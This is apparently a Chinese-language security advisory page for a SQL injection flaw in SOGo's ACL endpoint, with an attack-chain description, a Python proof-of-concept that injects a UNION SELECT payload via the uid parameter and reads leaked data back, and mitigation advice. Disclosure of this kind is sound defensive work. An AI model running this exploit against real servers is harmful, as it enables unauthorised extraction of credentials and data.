IPBUF安全漏洞报告
English
CVE-2026-8851 CVSS 8.1 高危

SOGo ACL管理SQL注入漏洞 (CVE-2026-8851)

披露日期: 2026-05-18

漏洞信息

漏洞编号
CVE-2026-8851
漏洞类型
SQL注入
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SOGo

相关标签

SQL注入SOGo数据泄露CVE-2026-8851权限绕过

漏洞概述

SOGo 5.12.7版本中存在严重的SQL注入漏洞。该漏洞位于访问控制列表(ACL)管理功能的`addUserInAcls`端点。经过身份认证的攻击者可通过操控`uid`参数注入恶意SQL子查询,从数据库中提取任意数据。攻击者利用此漏洞可将窃取的数据写入`sogo_acl`表,随后通过`/acls` API接口检索数据,建立带外数据窃取通道。

技术细节

该漏洞核心在于SOGo在处理`addUserInAcls`端点请求时,未对`uid`参数进行严格的输入验证,导致其可被用于执行SQL子查询。攻击者首先需要拥有有效的低权限账户登录系统。随后,攻击者构造包含UNION SELECT或INSERT语句的恶意Payload发送至服务器。由于数据库并未正确转义输入,攻击者可以将敏感数据(如密码哈希、配置信息)注入到`sogo_acl`表中。最后,攻击者调用`/acls` API读取该表内容,从而实现数据外带。此攻击方式无需用户交互,且绕过了传统的直接回显限制。

攻击链分析

STEP 1
步骤1:身份认证
攻击者使用获取的低权限账号凭证登录SOGo系统,建立会话。
STEP 2
步骤2:发送恶意请求
攻击者向`addUserInAcls`端点发送特制POST请求,在`uid`参数中注入SQL子查询。
STEP 3
步骤3:数据注入
数据库执行恶意SQL,将查询到的敏感数据(如数据库版本、用户凭据)写入`sogo_acl`表。
STEP 4
步骤4:数据回显
攻击者调用`/acls` API接口读取ACL表内容,获取注入的数据,完成数据窃取。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "https://sogo-example.com/SOGo" username = "[email protected]" password = "password" session = requests.Session() # 1. Authenticate login_payload = { "userName": username, "password": password, "domain": "example.com", "language": "en", "theme": "default" } session.post(f"{target_url}/connect", data=login_payload) # 2. Exploit SQL Injection in addUserInAcls # The uid parameter is vulnerable. We inject a subquery to extract data. # Example: Extract version() into the sogo_acl table. malicious_uid = "test' UNION SELECT NULL, version(), NULL, NULL, NULL-- -" exploit_url = f"{target_url}/acl/addUserInAcls" payload = { "uid": malicious_uid, "folder": "personal/test_user" } response = session.post(exploit_url, data=payload) if response.status_code == 200: print("[+] SQL Injection payload sent successfully.") # 3. Retrieve injected data via /acls API # The data written to sogo_acl can now be read acl_url = f"{target_url}/acls" acl_response = session.get(acl_url) print("[+] Checking for leaked data in ACL response:") if "PostgreSQL" in acl_response.text or "mysql" in acl_response.text: print(acl_response.text) else: print("Data not found directly, check database manually.") else: print(f"[-] Exploit failed. Status code: {response.status_code}")

影响范围

SOGo <= 5.12.7

防御指南

临时缓解措施
在未进行版本升级前,建议管理员部署Web应用防火墙(WAF),重点拦截针对`addUserInAcls`接口的异常SQL关键字(如UNION SELECT, INSERT)。同时,应加强对`sogo_acl`表的监控,检查是否存在异常的ACL条目,并限制对SOGo管理接口的网络访问,仅允许受信任的IP地址连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表